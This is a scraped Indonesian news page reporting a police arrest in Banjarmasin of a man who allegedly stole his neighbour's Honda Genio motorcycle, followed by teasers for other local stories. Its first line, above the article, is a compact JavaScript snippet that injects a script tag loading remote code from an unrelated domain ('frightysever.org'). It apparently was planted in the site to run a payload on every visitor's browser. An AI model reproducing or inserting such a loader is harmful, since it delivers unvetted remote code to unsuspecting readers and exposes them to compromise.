(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Curi Honda Genio Tetangga, R Diringkus Polsek Banjarmasin Selatan


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor di Jalan Kelayan A, Gang Pancasila, Kelurahan Murung Raya, Kota Banjarmasin.

Seorang lelaki berinisial R (38) yang masih bertetangga dengan korban pencurian sepeda motor ditangkap setelah polisi melakukan penyelidikan.

Kapolsek Banjarmasin Selatan Kompol Agus Sugianto melalui Kanit Reskrim Iptu Sudirno dalam keterangan mengatakan, pelaku melancarkan aksi pencurian pada Jum’at  (2/8/2024) dini hari.

Sekitar pukul 04.00 Wita, saat korban bernama Nur Hilda (30) pulang kerja, memarkir sepeda motor Honda Genio di depan rumah Jalan Kelayan II A, Gang Pancasila RT 12 RW 01, Kelurahan Murung Raya, Kecamatan Banjarmasin Selatan.

Baca juga: Siapkan Pendaftaran Paslon, Kerja 4 Komisioner KPU Banjarbaru Ditinggal Rozy Maulana

Saat parkir sepeda motor matic Honda Genio warna matte black itu sudah terkunci stang, kemudian Nur Hilda masuk ke dalam rumah untuk beristirahat.

Sekitar pukul 06.30 Wita, Hilda dibangunkan oleh orang rumah lainnya yang mengabarkan bahwa sepeda motor miliknya sudah tidak ada di tempat lagi alias hilang.

“Pemilik beserta saksi mencari ke sekitar, namun tidak ditemukan motor tersebut, kemudian langsung melapor ke Polsek Banjarmasin Selatan,” kata Kanit Reskrim.

Setelah dilakukan penyelidikan terhadap laporan pemilik motor, Unit Opsnal Polsek Banjarmasin Selatan, pada Sabtu (3/8/2024) malam, mendapatkan informasi tentang posisi seorang lelaki yang dicurigai sebagai pelaku pencurian sepeda motor.

Sekitar pukul 23.00 Wita, polisi berhasil menangkap R yang diduga sebagai pelaku di Jalan Kelayan II A Gang Pancasila RT 12 Kelurahan Murung Raya, Kecamatan Banjarmasin Selatan.

Baca juga: Negara Rugi Rp6,2 Triliun Tiap Tahun Akibat Impor Tekstil Ilegal

Setelah dilakukan interogasi, pelaku menunjukan keberadaan sepeda motor Honda Genio yang dicuri tersebut disimpan di komplek Uka Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Barang bukti Honda Genio serta kunci duplikat diamankan petugas dari tangan pelaku. “Pelaku beserta barang bukti diamankan oleh petugas di Polsek Banjarmasin Selatan untuk dilakukan proses lebih lanjut,” ujarnya.

Perbuatan R terancam dijerat pasal 363 Kitab Undang-Undang Hukum Pidana tentang pencurian dengan pemberatan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

9 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.